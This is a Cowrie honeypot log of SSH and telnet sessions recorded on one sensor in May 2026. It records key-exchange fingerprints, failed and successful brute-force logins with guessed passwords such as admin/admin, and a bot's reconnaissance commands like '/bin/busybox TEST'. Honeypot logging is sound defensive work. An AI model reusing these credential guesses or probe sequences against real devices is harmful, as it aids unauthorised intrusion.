{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:43.766746Z","src_ip":"195.238.126.207","session":"6f8d863ab81c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:a0:44:80:c1:04:2b:e4:51:5b:77:2a:fc:4d:cb:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1MWEYUiydCOZmnhor2LgTDce6nFQtkX02MSPuJX3H/JSRmPQ1ZBPXg45p3i0Zw/RnOJSd9+7xxd93le1Y0evbLJYA+zhI+RtcnZkmAlmplWJwrZlsVcsbYrV7TtRv5MUlQfz6ggTmP+6QdJ1pWPLKbbIZAdEE57BUWkBKX7bDYXbrbIsb8KqhzLLCnAkUKaY4hSjxyccYMgnEqEtMb06GQG79KF+hlHChcIOamIG1evAqzz9FLuEzkAaSfFh11/DBqwfPWBZ29y0yQ7fz8QDCsxpPfAnJMJtkqqTDvngpU6xf778BCcjRbF9yF7bTS3OMU2eefWQoVIKJtK/HlKWv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:a0:44:80:c1:04:2b:e4:51:5b:77:2a:fc:4d:cb:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:44.325955Z","src_ip":"195.238.126.207","session":"6f8d863ab81c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:a0:44:80:c1:04:2b:e4:51:5b:77:2a:fc:4d:cb:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1MWEYUiydCOZmnhor2LgTDce6nFQtkX02MSPuJX3H/JSRmPQ1ZBPXg45p3i0Zw/RnOJSd9+7xxd93le1Y0evbLJYA+zhI+RtcnZkmAlmplWJwrZlsVcsbYrV7TtRv5MUlQfz6ggTmP+6QdJ1pWPLKbbIZAdEE57BUWkBKX7bDYXbrbIsb8KqhzLLCnAkUKaY4hSjxyccYMgnEqEtMb06GQG79KF+hlHChcIOamIG1evAqzz9FLuEzkAaSfFh11/DBqwfPWBZ29y0yQ7fz8QDCsxpPfAnJMJtkqqTDvngpU6xf778BCcjRbF9yF7bTS3OMU2eefWQoVIKJtK/HlKWv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:44.330413Z","src_ip":"195.238.126.207","session":"6f8d863ab81c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:c6:7c:93:9d:6d:67:94:30:73:8f:80:f0:0c:54:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvA9m/k12uJz6A+hGS2ANKoho2uO4Tdj/oHwbKMKSUBA+g4DOhV26jJ5EnAi2RSujpxm8aHt4qJFZDxq8+JHaPdHu8qR4ydBmWHTgIZr9yFhCiAUiXKzDmWI9x4LHBqHnn7eCR7BrThbG3Pai8uK7m928s6U7PTnM/Z8uuFzzbWYbbc/N8vonNCqe6NtccOt1c3o1jOcXRh+MLsl+FCeoj8nUXVg1b3MRpyBxHDfkVb/QBs3q5GqZU9kXyWBht+JffCpWBxO5e91hWKh/hgJ2Noffo2nO0mJM0R5IXPMqqsQ7G2tIhzPGMrgBv/ZvS8Oj2bKeuak8uj/41duZ8U3DT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:c6:7c:93:9d:6d:67:94:30:73:8f:80:f0:0c:54:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:44.449788Z","src_ip":"195.238.126.207","session":"6f8d863ab81c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:c6:7c:93:9d:6d:67:94:30:73:8f:80:f0:0c:54:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvA9m/k12uJz6A+hGS2ANKoho2uO4Tdj/oHwbKMKSUBA+g4DOhV26jJ5EnAi2RSujpxm8aHt4qJFZDxq8+JHaPdHu8qR4ydBmWHTgIZr9yFhCiAUiXKzDmWI9x4LHBqHnn7eCR7BrThbG3Pai8uK7m928s6U7PTnM/Z8uuFzzbWYbbc/N8vonNCqe6NtccOt1c3o1jOcXRh+MLsl+FCeoj8nUXVg1b3MRpyBxHDfkVb/QBs3q5GqZU9kXyWBht+JffCpWBxO5e91hWKh/hgJ2Noffo2nO0mJM0R5IXPMqqsQ7G2tIhzPGMrgBv/ZvS8Oj2bKeuak8uj/41duZ8U3DT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:44.454376Z","src_ip":"195.238.126.207","session":"6f8d863ab81c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:aa:fc:db:b0:13:b0:74:42:a6:e5:8c:f4:43:ba:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDslk6Dnx9k0IsMS2UlLtEXDA0abr/eZq+F0w5MxNDS6Sbnv6qdpmNsdtI2IzoJ+QC5YlEdF/bWCTc9KDkd4XEZA9ltGm5Ox0iyGCftkF5qGxUnLzoL+Id7GZP4U1jIUI1IclVuVh3C+tlUSL+BiUtAl/QozJgs5ZEjYcJcFeXGL1ncrmpCxC3cnTONgmKI46UjdkMMK/HZLpZbRltCXgcssDc8TBVOT+a9A+fnjaV9ngVzOtH6ruwLYkaMvAPZxpoZ+3YcwNqYSr5FsxY3pWttgc/UBYX/IFnvUelDKzFutDbFmk3bmNFHIwvPifTcnpPZUlIZ0aWQvRAhUsW4LRF1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:aa:fc:db:b0:13:b0:74:42:a6:e5:8c:f4:43:ba:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:44.578772Z","src_ip":"195.238.126.207","session":"6f8d863ab81c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:aa:fc:db:b0:13:b0:74:42:a6:e5:8c:f4:43:ba:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDslk6Dnx9k0IsMS2UlLtEXDA0abr/eZq+F0w5MxNDS6Sbnv6qdpmNsdtI2IzoJ+QC5YlEdF/bWCTc9KDkd4XEZA9ltGm5Ox0iyGCftkF5qGxUnLzoL+Id7GZP4U1jIUI1IclVuVh3C+tlUSL+BiUtAl/QozJgs5ZEjYcJcFeXGL1ncrmpCxC3cnTONgmKI46UjdkMMK/HZLpZbRltCXgcssDc8TBVOT+a9A+fnjaV9ngVzOtH6ruwLYkaMvAPZxpoZ+3YcwNqYSr5FsxY3pWttgc/UBYX/IFnvUelDKzFutDbFmk3bmNFHIwvPifTcnpPZUlIZ0aWQvRAhUsW4LRF1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:44.582829Z","src_ip":"195.238.126.207","session":"6f8d863ab81c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:d7:55:da:60:91:2f:e6:a9:04:f3:cc:7f:96:28:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwv4DKiTlodZE2XBISFCuuhXX5VuyQkFhiRhazfZIVtvbNWhzproudprG6pE7oggUowV+yY6V8aRJtP8er0TyUH55xPEDiXv5zNVKZWJ+GqLIluLDWjiNOHj65ebSiZIlgPaGQszoIcRrs7p5vTIwE8BYFu3HfRdlRTkRGoYi5f8t09sTFhQY52PminpTCc5KzX06H5O3vKcMlTgp6Aag2bPEod+fuQQ28uRJvmYhZIz1Xsd3UXmZsW62uKoC67nRCVyzGjbYeUuehNan+TQ7+rK5hhhat/1rq/Y7ldFWvwgbov7CF+e3bdsWe5YrOIywxi7L1oNqHXcxV7yxww4XB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:d7:55:da:60:91:2f:e6:a9:04:f3:cc:7f:96:28:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:44.699456Z","src_ip":"195.238.126.207","session":"6f8d863ab81c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:d7:55:da:60:91:2f:e6:a9:04:f3:cc:7f:96:28:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwv4DKiTlodZE2XBISFCuuhXX5VuyQkFhiRhazfZIVtvbNWhzproudprG6pE7oggUowV+yY6V8aRJtP8er0TyUH55xPEDiXv5zNVKZWJ+GqLIluLDWjiNOHj65ebSiZIlgPaGQszoIcRrs7p5vTIwE8BYFu3HfRdlRTkRGoYi5f8t09sTFhQY52PminpTCc5KzX06H5O3vKcMlTgp6Aag2bPEod+fuQQ28uRJvmYhZIz1Xsd3UXmZsW62uKoC67nRCVyzGjbYeUuehNan+TQ7+rK5hhhat/1rq/Y7ldFWvwgbov7CF+e3bdsWe5YrOIywxi7L1oNqHXcxV7yxww4XB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:44.704391Z","src_ip":"195.238.126.207","session":"6f8d863ab81c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:73:e4:7a:db:2a:e4:2e:84:17:3f:98:07:f0:67:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMnkMs4NbKMLR4CmyADldbEHQYl3BULapGlt2qFXzHsxQsUxPd6KlXMY/YuiDkE+GG6u5iE7Hz9XvYY2IJT/JW2Bp4H5l+A4BQoX/HDdsGGj/kYUOz/BPBp3kJtNYeAbbsJGScWzIv27c6nPPKt6eKEYRlQ7qt6n/omYRAu7piSYRxzFnMKBmFmLTJ6GdKSUyuiHzwAWJTLdvx9ZVZ/Q2MY+6/G3NAL80XVjXc/elJEoHWvMDbUtZHzYr/tJSa6wgESfUdpvHTyQbV0ZIXqTTgZY01C1EdZzqWQt2pmUi5MzcXzIzTOt7UztPMk/65ZBqUws/bh7S+pwTytUGqb6PH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:73:e4:7a:db:2a:e4:2e:84:17:3f:98:07:f0:67:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:44.823126Z","src_ip":"195.238.126.207","session":"6f8d863ab81c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:73:e4:7a:db:2a:e4:2e:84:17:3f:98:07:f0:67:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMnkMs4NbKMLR4CmyADldbEHQYl3BULapGlt2qFXzHsxQsUxPd6KlXMY/YuiDkE+GG6u5iE7Hz9XvYY2IJT/JW2Bp4H5l+A4BQoX/HDdsGGj/kYUOz/BPBp3kJtNYeAbbsJGScWzIv27c6nPPKt6eKEYRlQ7qt6n/omYRAu7piSYRxzFnMKBmFmLTJ6GdKSUyuiHzwAWJTLdvx9ZVZ/Q2MY+6/G3NAL80XVjXc/elJEoHWvMDbUtZHzYr/tJSa6wgESfUdpvHTyQbV0ZIXqTTgZY01C1EdZzqWQt2pmUi5MzcXzIzTOt7UztPMk/65ZBqUws/bh7S+pwTytUGqb6PH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:44.827970Z","src_ip":"195.238.126.207","session":"6f8d863ab81c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:44.946521Z","src_ip":"195.238.126.207","session":"6f8d863ab81c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40832,"dst_ip":"159.203.135.109","dst_port":23,"session":"b38dab2b4049","protocol":"telnet","message":"New connection: 135.148.14.151:40832 (159.203.135.109:23) [session: b38dab2b4049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:45.100920Z"}
{"eventid":"cowrie.session.closed","duration":35.89380407333374,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:47.635816Z","src_ip":"135.148.14.151","session":"baf7e02cf181","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.22348380088806,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:26:59.638682Z","src_ip":"135.148.14.151","session":"133e53b0dfdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.112","src_port":36508,"dst_ip":"159.203.135.109","dst_port":23,"session":"12a94f61954d","protocol":"telnet","message":"New connection: 31.56.209.112:36508 (159.203.135.109:23) [session: 12a94f61954d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:18.881451Z"}
{"eventid":"cowrie.session.closed","duration":0.015102148056030273,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:18.896432Z","src_ip":"31.56.209.112","session":"12a94f61954d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.112","src_port":36520,"dst_ip":"159.203.135.109","dst_port":23,"session":"11120252a48d","protocol":"telnet","message":"New connection: 31.56.209.112:36520 (159.203.135.109:23) [session: 11120252a48d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:18.962033Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:19.465749Z","src_ip":"31.56.209.112","session":"11120252a48d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.05996489524841,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:20.160753Z","src_ip":"135.148.14.151","session":"b38dab2b4049","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.503068208694458,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:20.465011Z","src_ip":"31.56.209.112","session":"11120252a48d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.112","src_port":36536,"dst_ip":"159.203.135.109","dst_port":23,"session":"38dd87298f06","protocol":"telnet","message":"New connection: 31.56.209.112:36536 (159.203.135.109:23) [session: 38dd87298f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:20.542307Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:21.043144Z","src_ip":"31.56.209.112","session":"38dd87298f06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5025358200073242,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:22.044754Z","src_ip":"31.56.209.112","session":"38dd87298f06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.56.209.112","src_port":36538,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f85aaaee258","protocol":"telnet","message":"New connection: 31.56.209.112:36538 (159.203.135.109:23) [session: 9f85aaaee258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:22.124382Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:22.624753Z","src_ip":"31.56.209.112","session":"9f85aaaee258","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:22.683064Z","src_ip":"31.56.209.112","session":"9f85aaaee258","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:23.625198Z","src_ip":"31.56.209.112","session":"9f85aaaee258","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:24.125163Z","src_ip":"31.56.209.112","session":"9f85aaaee258","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:24.725679Z","src_ip":"31.56.209.112","session":"9f85aaaee258","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:25.327994Z","src_ip":"31.56.209.112","session":"9f85aaaee258","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:25.337831Z","src_ip":"31.56.209.112","session":"9f85aaaee258","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.2","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:25.927097Z","src_ip":"31.56.209.112","session":"9f85aaaee258","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.8209731578826904,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:25.945304Z","src_ip":"31.56.209.112","session":"9f85aaaee258","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33676,"dst_ip":"159.203.135.109","dst_port":23,"session":"de3cfcd10e2f","protocol":"telnet","message":"New connection: 135.148.14.151:33676 (159.203.135.109:23) [session: de3cfcd10e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:32.789153Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37270,"dst_ip":"159.203.135.109","dst_port":23,"session":"0df3504523e3","protocol":"telnet","message":"New connection: 135.148.14.151:37270 (159.203.135.109:23) [session: 0df3504523e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:41.600895Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34538,"dst_ip":"159.203.135.109","dst_port":23,"session":"d25948ea10a2","protocol":"telnet","message":"New connection: 135.148.14.151:34538 (159.203.135.109:23) [session: d25948ea10a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:27:41.644810Z"}
{"eventid":"cowrie.session.closed","duration":35.361602783203125,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:08.150629Z","src_ip":"135.148.14.151","session":"de3cfcd10e2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48520,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf249148de4f","protocol":"telnet","message":"New connection: 135.148.14.151:48520 (159.203.135.109:23) [session: bf249148de4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:14.251463Z"}
{"eventid":"cowrie.session.closed","duration":34.09933304786682,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:15.743813Z","src_ip":"135.148.14.151","session":"d25948ea10a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52434,"dst_ip":"159.203.135.109","dst_port":23,"session":"62881e3ced98","protocol":"telnet","message":"New connection: 135.148.14.151:52434 (159.203.135.109:23) [session: 62881e3ced98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:19.519391Z"}
{"eventid":"cowrie.session.closed","duration":46.718257665634155,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:28.319013Z","src_ip":"135.148.14.151","session":"0df3504523e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":47688,"dst_ip":"10.17.0.5","dst_port":22,"session":"a047b6941826","protocol":"ssh","message":"New connection: 109.172.54.111:47688 (10.17.0.5:22) [session: a047b6941826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:44.289714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:44.299893Z","src_ip":"109.172.54.111","session":"a047b6941826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:44.422549Z","src_ip":"109.172.54.111","session":"a047b6941826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrey2012","message":"login attempt [root/andrey2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:44.788358Z","src_ip":"109.172.54.111","session":"a047b6941826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:45.913423Z","src_ip":"109.172.54.111","session":"a047b6941826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.55654549598694,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:28:47.807881Z","src_ip":"135.148.14.151","session":"bf249148de4f","protocol":"telnet"}
